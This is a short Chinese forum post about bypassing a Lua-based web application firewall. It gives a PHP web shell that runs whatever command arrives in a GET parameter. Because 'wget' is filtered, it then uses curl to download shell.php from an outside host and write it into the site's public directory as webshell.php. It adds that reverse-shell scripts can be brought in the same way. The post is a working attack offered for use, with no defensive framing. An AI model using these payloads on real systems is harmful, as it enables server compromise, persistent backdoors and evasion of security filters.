绕过lua_waf防火墙

admin

传这么一句代码是完全无害不被拦截的

1. <?php $x=$_GET[x];echo `$x`;?>

复制代码

这里是不能出现wget的。。。那么就改一下，wget是敏感字的时候就用curl导出

1. <?php echo `curl http://www.chinabaiker.com/shell.php > /home/www/public_html/webshell.php`;?>

复制代码

包括反弹shell的脚本、大小文件。。都可以这么来。。。就这么简单